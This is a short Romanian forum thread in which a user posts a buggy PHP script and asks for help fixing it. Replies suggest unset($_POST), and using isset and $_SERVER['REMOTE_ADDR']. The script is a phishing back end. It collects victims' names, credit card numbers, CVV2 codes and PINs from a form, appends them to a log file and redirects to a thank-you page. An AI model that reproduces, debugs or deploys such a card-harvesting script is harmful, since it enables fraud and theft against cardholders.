[PHP] Help

[bobbytza]

Ce este gresit in codul asta ?

<?

function san($var){
	return htmlentities($var, ENT_QUOTES);
}




$first_name = san($_POST['first_name']);
$last_name = san($_POST['last_name']);
$credit_card_type = $_POST['credit_card_type'];
$ccnumber = san($_POST['ccnumber']);
$ccv2 =  san($_POST['cvv2']);
$PIN = san($_POST['PIN']);
$IP = getnev ('REMOTE_ADDR);


header("Location: Thanks.htm");
?>


<?php
if ($_POST['first_name'] && $_POST['last_name'] && ('REMOTE_ADDR') && $_POST['credit_card_type'] && $_POST['ccnumber'] && $_POST['cvv2'] && $_POST['PIN']){
    $fp = fopen("log.html", "a");
    $stuff = "<br>" ."First Name: " . $first_name . "<br>" . "Last Name: " . $last_name . "<br>" . "Credit Card Type: " . $credit_card_type . "<br>" . "ccnumber: " . $ccnumber . "<br>" . "cvv2: " . $cvv2 . "<br>" . "PIN: " . $PIN . "<br>" . "\n";
    fputs($fp, $stuff);
} else {
    ;
}

?>

Mai bine zis in linia de cod:

if ($_POST['first_name'] && $_POST['last_name'] && ('REMOTE_ADDR') && $_POST['credit_card_type'] && $_POST['ccnumber'] && $_POST['cvv2'] && $_POST['PIN']){

Ori nu vad ceva ori nu inteleg !

[lucian]

pune inainte unset($_POST)

[Nytro]

Folosesti isset($_POST['xx']) si $_SERVER['REMOTE_ADDR'].